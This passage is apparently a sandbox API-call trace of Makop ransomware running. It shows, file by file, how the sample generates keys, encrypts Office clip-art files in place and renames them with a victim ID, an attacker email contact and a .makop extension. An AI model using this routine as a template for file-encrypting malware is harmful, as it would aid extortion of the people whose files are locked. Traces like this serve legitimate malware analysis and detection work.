phKey=0x6577aac*=0x48c7128) returned 1 [0115.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.725] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5664, lpOverlapped=0x0) returned 1 [0115.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5670, dwBufLen=0x5670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5670) returned 1 [0115.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5670, lpOverlapped=0x0) returned 1 [0115.727] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.728] SetEndOfFile (hFile=0xf0) returned 1 [0115.737] GetProcessHeap () returned 0x48a0000 [0115.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.737] GetProcessHeap () returned 0x48a0000 [0115.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.737] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.738] CloseHandle (hObject=0xf0) returned 1 [0115.739] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0115.739] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 63 [0115.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.739] GetProcessHeap () returned 0x48a0000 [0115.739] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.740] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.740] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.744] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.744] GetProcessHeap () returned 0x48a0000 [0115.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.744] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.744] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.745] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.745] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3dec, lpOverlapped=0x0) returned 1 [0115.747] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3df0) returned 1 [0115.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3df0, lpOverlapped=0x0) returned 1 [0115.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.748] SetEndOfFile (hFile=0xf0) returned 1 [0115.756] GetProcessHeap () returned 0x48a0000 [0115.756] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.756] GetProcessHeap () returned 0x48a0000 [0115.756] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.756] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.757] CloseHandle (hObject=0xf0) returned 1 [0115.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0115.757] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0115.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.758] GetProcessHeap () returned 0x48a0000 [0115.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.758] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.759] GetProcessHeap () returned 0x48a0000 [0115.759] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.759] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.759] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.764] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.764] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.764] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.765] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb10, lpOverlapped=0x0) returned 1 [0115.765] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb10, dwBufLen=0xb10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb10) returned 1 [0115.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb10, lpOverlapped=0x0) returned 1 [0115.765] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.766] SetEndOfFile (hFile=0xf0) returned 1 [0115.772] GetProcessHeap () returned 0x48a0000 [0115.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.773] GetProcessHeap () returned 0x48a0000 [0115.773] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.773] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.774] CloseHandle (hObject=0xf0) returned 1 [0115.774] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0115.774] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0115.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.775] GetProcessHeap () returned 0x48a0000 [0115.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.775] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.780] GetProcessHeap () returned 0x48a0000 [0115.780] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.780] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.780] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.781] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.781] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.782] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10ca8, lpOverlapped=0x0) returned 1 [0115.784] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10cb0, dwBufLen=0x10cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10cb0) returned 1 [0115.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10cb0, lpOverlapped=0x0) returned 1 [0115.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.786] SetEndOfFile (hFile=0xf0) returned 1 [0115.794] GetProcessHeap () returned 0x48a0000 [0115.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.794] GetProcessHeap () returned 0x48a0000 [0115.794] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.795] CloseHandle (hObject=0xf0) returned 1 [0115.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0115.796] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0115.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.796] GetProcessHeap () returned 0x48a0000 [0115.796] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.796] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0115.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.802] GetProcessHeap () returned 0x48a0000 [0115.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 